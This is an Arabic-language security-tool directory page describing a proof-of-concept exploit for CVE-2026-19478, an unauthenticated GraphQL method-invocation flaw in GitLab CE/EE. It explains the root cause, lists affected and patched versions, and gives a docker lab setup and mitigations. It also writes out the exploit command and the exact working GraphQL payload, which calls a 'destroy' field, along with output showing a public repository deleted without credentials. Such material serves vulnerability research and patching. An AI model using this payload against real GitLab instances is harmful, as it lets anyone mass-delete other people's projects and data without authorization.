Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/eqstlab/cve-2026-19478
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالفريق الأحمر
GitHubeqstlab/cve-2026-19478

CVE-2026-19478

إثبات مفهوم لاستغلال CVE-2026-19478، وهو حقن GraphQL غير مصادق عليه في GitLab CE/EE يسمح باستدعاء أساليب عشوائية وحذف المشاريع.

عرض المستودع
44منذ 20 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-19478 حذف مشروع GitLab GraphQL غير المصادق عليه

★ CVE-2026-19478 GitLab GraphQL @gl_introduced استدعاء طريقة عشوائية غير مصادق عليه PoC ★

https://github.com/user-attachments/assets/bb5d5f8a-a9bf-4148-854b-14c25c501d4b


نظرة عامة

CVE-2026-19478 هي ثغرة تلاعب/حذف بيانات غير مصادق عليه في GitLab CE/EE (CVSS 9.4). يوفر GitLab توجيه عميل GraphQL @gl_introduced(version: "X.Y.Z") لتوافقية النشر التدريجي. عندما يستعلم استعلام عن حقل بإصدار أحدث من الخادم الجاري، يقوم أداة التتبع بإزالته قبل التحقق الثابت بحيث يمر الاستعلام بالتحقق، ثم عند التنفيذ يتم حل الحقل غير المعروف بواسطة حقل احتياطي لا يحتوي على محلل. في graphql-ruby، يتم حل الحقل بدون محلل عن طريق استدعاء object.public_send(field_name) — لذا يمكن للعميل تسمية حقل يساوي أي طريقة بدون وسائط على الكائن الذي يتم حله حاليًا، ويقوم الخادم باستدعائها. حل مشروع عام وطلب "حقل مستقبلي" باسم destroy يؤدي بالتالي إلى تشغيل Project#destroy — حذف مشروع عام (أو تعديل بيانات مستخدم) بدون حساب أو رمز أو تفاعل مستخدم.


الإصدارات المتأثرة

الفئةالإصدار
المتأثرةGitLab CE/EE 18.2 – 18.11.10, 19.0.0 – 19.0.7, 19.1.0 – 19.1.5, 19.2.0 – 19.2.3
المصححة18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 أو أحدث

التأثير

  • تعديل/حذف غير مصادق عليه للمشاريع العامة وبيانات المستخدمين
  • تدمير جماعي وقابل للبرمجة لكل مستودع عام على مثيل معرّض للإنترنت
  • الإصلاح يوجه الاحتياطي للحقل المستقبلي عبر Resolvers::NilResolver (يعيد nil، ولا يستدعي أي طريقة)

البيئة

قم ببناء وتشغيل GitLab المتأثر. يقوم بإنشاء مستودع عام victim/demo تلقائيًا يمكنك حذفه بدون مصادقة. يستغرق GitLab حوالي 3–5 دقائق لإنهاء إعادة التكوين والإنشاء.

root@kitploit:~
docker build -t cve-2026-19478 .
docker run -d --name cve-2026-19478 --shm-size 256m -p 3000:80 cve-2026-19478
الشرط المسبقالحالة في هذا المختبر
GitLab 18.2 – 19.2.319.2.2
مشروع عام يمكن الوصول إليه مجهولًاvictim/demo (تم إنشاؤه)
نقطة نهاية GraphQL غير مصادق عليها يمكن الوصول إليها/api/graphql مكشوفة

PoC

يقوم الاستغلال gitlab_exploit.py بحذف أي مستودع عام تشير إليه، بدون بيانات اعتماد. يرسل حمولة @gl_introduced التي تحول اسم حقل GraphQL destroy إلى استدعاء Project#destroy، ثم يؤكد الحذف عبر REST API (404).

root@kitploit:~
# python3 gitlab_exploit.py <target ip:port> --repo <group/name>
python3 gitlab_exploit.py 172.17.0.2:3000 --repo victim/demo
root@kitploit:~
[*] target ......... http://172.17.0.2:3000
[*] BEFORE (REST) .. GET /api/v4/projects/victim/demo -> HTTP 200  (exists)
[*] PAYLOAD (unauth) { project(fullPath:"victim/demo"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ....... {"project": {"id": "gid://gitlab/Project/1", "destroy": true}}
[*] waiting for async delete to finish ...
[+] AFTER (REST) ... GET /api/v4/projects/victim/demo -> HTTP 404
[!] SUCCESS - the UNAUTHENTICATED request DELETED 'victim/demo'. CVE-2026-19478 proven.

الخيارات:

  • --detect — فحص آمن غير مدمر (يستدعي طريقة to_param غير الضارة بدلاً من destroy)
  • --repo group/name — استهداف أي مشروع عام على المثيل
  • --insecure — تخطي التحقق من TLS لأهداف https://

التخفيف

  • قم بترقية GitLab إلى 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 أو أحدث
  • إذا لم تتمكن من الترقية فورًا، قم بحظر توجيه @gl_introduced / مسار تصفية الإصدار عند وكيل عكسي، أو قيّد الوصول غير المصادق عليه إلى /api/graphql
  • قلل التعرض: أبقِ GitLab بعيدًا عن الإنترنت العام (VPN / وكيل مصادقة)، وقلل المشاريع العامة

التحليل

  • KR:
  • EN:
تنزيل الأداة